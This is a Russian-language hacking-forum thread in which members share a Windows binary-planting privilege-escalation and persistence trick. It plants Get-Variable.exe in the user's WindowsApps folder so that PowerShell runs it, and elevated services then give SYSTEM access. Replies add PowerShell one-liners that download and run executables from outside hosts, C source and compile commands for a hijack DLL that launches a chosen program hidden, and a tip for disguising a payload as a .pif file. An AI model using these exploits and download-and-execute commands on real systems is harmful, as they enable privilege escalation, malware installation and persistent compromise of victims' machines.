• XSS.stack #1 – первый литературный журнал от юзеров форума

DLL planting (aka binary planting/hijacking/preloading)

x4k

6767694e 61635361 72656d6d 0a Li-En
КИДАЛА
Регистрация
29.05.2020
Сообщения
292
Реакции
401
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну и я сегодня добрый. И еще повлиял тот факт, что де-факто тут выкладывают ЧЬИ-ТО статьи, которыми и так пестрит паблик. Оке) сделаю исключение и поделюсь с Вами совсем приватом. Этого нет нигде, точно. Признаюсь, заметил это не я. Так что выкладываю на языке автора. Хотя, уверен что его родной, все-таки китайский.. Итак:

How I found this​

I was researching some software and I found a binary planting issue. I thought it was contained to the software itself, but it was not. The service executed a powershell cmdlet native to windows, but I noticed that it browsed the user's AppData directory first before executing the system32 version.
Since the service I was exploiting executed as NT Authority/System, I got system access.

How to Recreate​

Using procmon, contains NO SUCH as Result and contains powershell as Process Name.

procmon_filter.png

Get-Variable_example.png

Result of starting Powershell.exe

How to Exploit​

Take a binary, that executes code of your choice and name it Get-Variable.exe and place it in C:\Users\<currentloggedinuser>\AppData\Local\Microsoft\WindowsApps\. Launch powershell, get code execution. This only works for powershell.exe itself, you'll need to find what cmdlet is specifically called to the target sotware you are auditing.
Now, different scripts will call different cmdlets, so it would be important to audit GPO scripts that execute in the context of the logged in user session, but as an elevated process. This includes any service that might call a powershell cmdlet. As I stated earily, I have gotten SYSTEM level access against 'security' software recently that would call innoculus native cmdlets, only to be hijacked in a user writable directory.
I think Windows 10 build 1909+ are affected.
As you might have already thought of, this can be used a persistence method.

Reporting​

I have not reported this to MSRC (and will not) as they do not consider binary planting an issue.
https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/
Enjoy!

От себя добавлю - работает замечательно, проверено) Enjoy)
 

Вложения

  • procmon_filter.png
    procmon_filter.png
    6.9 КБ · Просмотры: 60
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну это забавно, да. Но не стоит забывать, что запуск неподписанного экзешника из localappdata должен быть подозрительным для аверов, тем более, что родительский процесс будет павершеллом. Еще подозрительней был бы, наверное, только запуск павершеллом экзешника из темпа)).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну это забавно, да. Но не стоит забывать, что запуск неподписанного экзешника из localappdata должен быть подозрительным для аверов, тем более, что родительский процесс будет павершеллом. Еще подозрительней был бы, наверное, только запуск павершеллом экзешника из темпа)).
с чего ты взял? кстати)) натолкнул меня на мысль. позже на эту тему напишу заметку) тем более многих бомбит :)))
 
Практика.
Насколько я понимаю, основная суть в том что это lpe простой к применению (это же не uac bypass, если я верно понял мысли автора, потому что самому проверять лень и просто нет нужды), и возможно это применимо не только для exe. Но даже если это очередной байпасс, это всё же крайне простой байпасс, не требующий вообще никаких телодвижений.
И да, практика вам явно говорит о запуске пш с аргументами, а в данном случае речь идёт о самом пш)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И да, практика вам явно говорит о запуске пш с аргументами, а в данном случае речь идёт о самом пш)
Речь идет о запуске неподписанного экзешника из аппдаты процессом пауершелла.
 
Речь идет о запуске неподписанного экзешника из аппдаты процессом пауершелла.
Еще раз - процессом пш без аргументов) Это важное уточнение. Да и про подпись это уже ваша выдумка, что хотите то и запускайте.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
$l=$env:APPDATA;Invoke-WebRequest [URL]http://oxoo.cc:4466/11XkCx/o[/URL] -OutFile $l\timesyncd.exe;start-process("$l\timesyncd.exe")
кому там аргументы жить мешают? выполняется везде!
$t=(Invoke-WebRequest -UseBasicParsing [URL]http://powershell.services:9000/4bf2d9c23fe61fa9/get.html).Content;$s=[/URL]' ';$p=$t.split($s);$l="$env:APPDATA\timesync.exe";Invoke-WebRequest $p[1] -OutFile $l;Start-Process $l
или так. проверь. тут далеко ходить не нужно ;)
 
$l=$env:APPDATA;Invoke-WebRequest [URL]http://oxoo.cc:4466/11XkCx/o[/URL] -OutFile $l\timesyncd.exe;start-process("$l\timesyncd.exe")
кому там аргументы жить мешают? выполняется везде!
$t=(Invoke-WebRequest -UseBasicParsing [URL]http://powershell.services:9000/4bf2d9c23fe61fa9/get.html).Content;$s=[/URL]' ';$p=$t.split($s);$l="$env:APPDATA\timesync.exe";Invoke-WebRequest $p[1] -OutFile $l;Start-Process $l
или так. проверь. тут далеко ходить не нужно ;)
аргументы живут, но недолго) Тем более с вебреквестами, вообще что-то не живут а существуют. Ну а насчет неподписанного - есть какие-нибудь подписанные ехешники которые что-нибудь из той же папки исполняют? Например, какой-нибудь первый попавшийся скрипт.
Сколько у тебя интересных доменов)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
аргументы живут, но недолго) Тем более с вебреквестами, вообще что-то не живут а существуют. Ну а насчет неподписанного - есть какие-нибудь подписанные ехешники которые что-нибудь из той же папки исполняют? Например, какой-нибудь первый попавшийся скрипт.
))))))))) Фантазер. Этот аргумент твоя система запомнит надолго. В буквальном смысле) первый с персистом - не выведешь) если конечно не исполнил это сам =)))) Чего зря лясы точить?) Пробуй)))
 
))))))))) Фантазер. Этот аргумент твоя система запомнит надолго. В буквальном смысле) первый с персистом - не выведешь) если конечно не исполнил это сам =)))) Чего зря лясы точить?) Пробуй)))
Мне лень запускать машины сейчас, по этой же причине и эксплоит не испробовал. Лишь говорю о том, что пш с аргументами это либо постоянная обфускация, либо борьба с амси. Да и вообще ты не в ту сторону воюешь)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
пш с аргументами это либо постоянная обфускация, либо борьба с амси
Повершелл, запущенный без аргументов, для аверов - это либо заспуфенные аргументы, либо кто-то запустил репл, и то и другое редкость.
 
Повершелл, запущенный без аргументов, для аверов - это либо заспуфенные аргументы, либо кто-то запустил репл, и то и другое редкость.
Бедные пользователи, как тогда вообще пш запустить в таких драконовских условиях? Тоталитаризм какой-то.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну и в завершении темы)) как то где-то помню была неплохая статейка на тему импортов. Сейчас мы напишем НЕПОДПИСАННУЮ библиотеку, скомпилируем и запустим калькулятор, мспаинт и бабушкин утюг с взлетевшими токенами) х#йня?))) поехали:

C:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            WinExec("ТВОЕ_ПРИЛОЖЕНИЕ.exe",1);
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) unsigned int NetworkIsolationEnumAppContainers(unsigned int Flags,
 unsigned int pdwCntPublicACs, int *ppPublicACs)
{
    return 2;
}
extern __declspec(dllexport) void NetworkIsolationFreeAppContainers(int *pACs)
{
    return;
}
extern __declspec(dllexport) unsigned int NetworkIsolationGetAppContainerConfig(unsigned int pdwCntACs,
    int *appContainerSids)
{
    return 2;
}
extern __declspec(dllexport)  unsigned int NetworkIsolationSetAppContainerConfig(unsigned int pdwCntACs,
 int x)
{
    return 2;
}

Над каждым return или return2 можете любым способом, каким хотите, будь то system(), createprocess() или еще что либо, вписать свое. Любые функции. Павершелл. С аргументами. Без. Естественно ТВОЕ_ПРИЛОЖЕНИЕ.exe нужно изменить. Хотя и это не обязательно, можно просто нужное переименовать в ТВОЕ_ПРИЛОЖЕНИЕ.exe. Компилируется просто, я привык так, на вкус и цвет как говорится все фломастеры..

wine g++ -O3 -Wall -Wl,-subsystem=windows -shared -o FirewallAPI.dll FirewallAPI.c

Это все. ПОК. Чуть не забыл. Файл, который прикреплен в виде .txt можете переименовать в любой удобный исполняемый формат. Можно даже, как в старые добрые положить в архивчик и подписать PASSWORD.TXT.pif.
Проверка займет чуть меньше трех минут, а 1д эксплоит не каждый день напишешь ;) наздоровье
 

Вложения

  • readme.txt
    87.1 КБ · Просмотры: 32
Пожалуйста, обратите внимание, что пользователь заблокирован
И чтобы в пм много писем про "а как запустить скрытно" скажу сразу: WinExec("App.exe", SW_HIDE) либо 0
 
И чтобы в пм много писем про "а как запустить скрытно" скажу сразу: WinExec("App.exe", SW_HIDE) либо 0
В контексте перегнанных в b64 пейлоадов без малейших пояснений это всё звучит очень подозрительно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В контексте перегнанных в b64 пейлоадов без малейших пояснений это всё звучит очень подозрительно.
Эм.... ахаххаахахаа... Сегодня прямо цирк на выезде))))
echo 'ТВОЙ_КОНТЕКСТ_Б64' | base64 -d -w0 > файл ; cat файл эта фраза должна сделать тебя не только крутым Криптером , но и еще крутым ДЕКриптером =))) Не благодари)
Блин, ну и чтобы ты совсем уж был во всеоружии, file файл покажет тебе и твоим друзьям что там за контекст, strings файл даст тебе способности ВирусТотала, ну а objdump -x файл на исполняемом погрузят тебя в матрицу непонятных, но таких манящих цифр =)))))))))))))))))))))))))))))))))))))))))))))))))))
 
Эм.... ахаххаахахаа... Сегодня прямо цирк на выезде))))
echo 'ТВОЙ_КОНТЕКСТ_Б64' | base64 -d -w0 > файл ; cat файл эта фраза должна сделать тебя не только крутым Криптером , но и еще крутым ДЕКриптером =))) Не благодари)
Какой смысл декриптить екзешники) Это нужно их потом открывать и смотреть, речь же не о командах в b64 перегнанных.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх